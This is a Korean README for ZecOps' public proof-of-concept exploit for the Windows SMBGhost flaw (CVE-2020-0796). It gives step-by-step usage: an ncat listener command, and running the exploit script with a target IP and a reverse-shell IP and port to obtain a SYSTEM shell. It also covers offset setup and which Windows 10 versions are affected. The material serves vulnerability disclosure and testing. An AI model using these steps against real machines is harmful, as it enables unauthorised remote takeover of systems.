
CVE-2020-0796 원격 코드 실행 POC
(c) 2020 ZecOps, Inc. - https://www.zecops.com - 공격자의 실수를 찾아내다
CVE-2020-0796 / "SMBGhost"를 위한 원격 코드 실행 PoC
예상 결과: 시스템 접근 권한이 있는 리버스 셸.
교육 및 기업 환경에서의 테스트 용도로만 사용하세요.
ZecOps는 이 코드에 대해 어떠한 책임도 지지 않습니다. 사용에 따른 위험은 본인이 감수해야 합니다.
서버, 엔드포인트 및 모바일 기기에서 SMBGhost 및 기타 유형의 공격을 자동으로 탐지하는 에이전트 없는 DFIR 도구에 관심이 있으시면 [email protected]으로 문의해 주세요.
Python과 ncat이 설치되어 있는지 확인하세요.
대상 컴퓨터에서 calc_target_offsets.bat를 실행하고, 스크립트 출력에 따라 SMBleedingGhost.py 파일 상단의 오프셋을 조정하세요(아래 참고 사항도 확인하세요).
ncat을 다음 명령줄 인수로 실행하세요:
ncat -lvp <port>
여기서 <port>는 ncat이 수신 대기할 포트 번호입니다.
SMBleedingGhost.py를 다음 명령줄 인수로 실행하세요:
SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>
여기서 <target_ip>는 취약한 대상 컴퓨터의 IP 주소입니다. <reverse_shell_ip>와 <reverse_shell_port>는 ncat이 수신 대기 중인 IP 주소와 포트 번호입니다.
모든 것이 순조롭게 진행되면 ncat이 대상 컴퓨터에 시스템 접근을 제공하는 셸을 표시합니다.
참고: 왜 대상 컴퓨터에서 calc_target_offsets.bat 스크립트를 실행해야 하는지, 그리고 이것이 원격 코드 실행이 원격이라는 점을 무색하게 하지 않나 궁금할 수 있습니다. 이 오프셋은 무작위가 아니며 동일한 Windows 버전의 모든 Windows 인스턴스에서 동일합니다. 대상 Windows 버전을 감지하고 오프셋을 자동으로 조정하거나 오프셋에 전혀 의존하지 않음으로써 공격을 더 보편적으로 만들 수 있지만, 이것은 단순한 PoC일 뿐이며 우리는 더 간단한 방법을 택했습니다. 또한 PoC가 보편적이지 않고 테스트 및 교육 외의 용도로 사용하기에 편리하지 않다는 점을 좋은 점으로 생각합니다.

Windows 10 버전 1903 및 1909가 영향을 받습니다. 패치되지 않은 Windows 10 1903 버전은 Windows의 null 역참조 버그(KB4512941에서 수정됨)로 인해 지원되지 않습니다.
악용 특성상 PoC는 단일 논리 프로세서가 있는 컴퓨터(또는 VM)에서 실행되는 대상에 가장 적합합니다. VirtualBox에서 실행되는 논리 프로세서가 두 개 이상인 대상도 지원되지만, 이 경우 PoC의 신뢰성이 떨어집니다. 다른 대상은 지원되지 않을 수 있습니다. 자세한 내용은 아래 기술 문서를 참조하세요.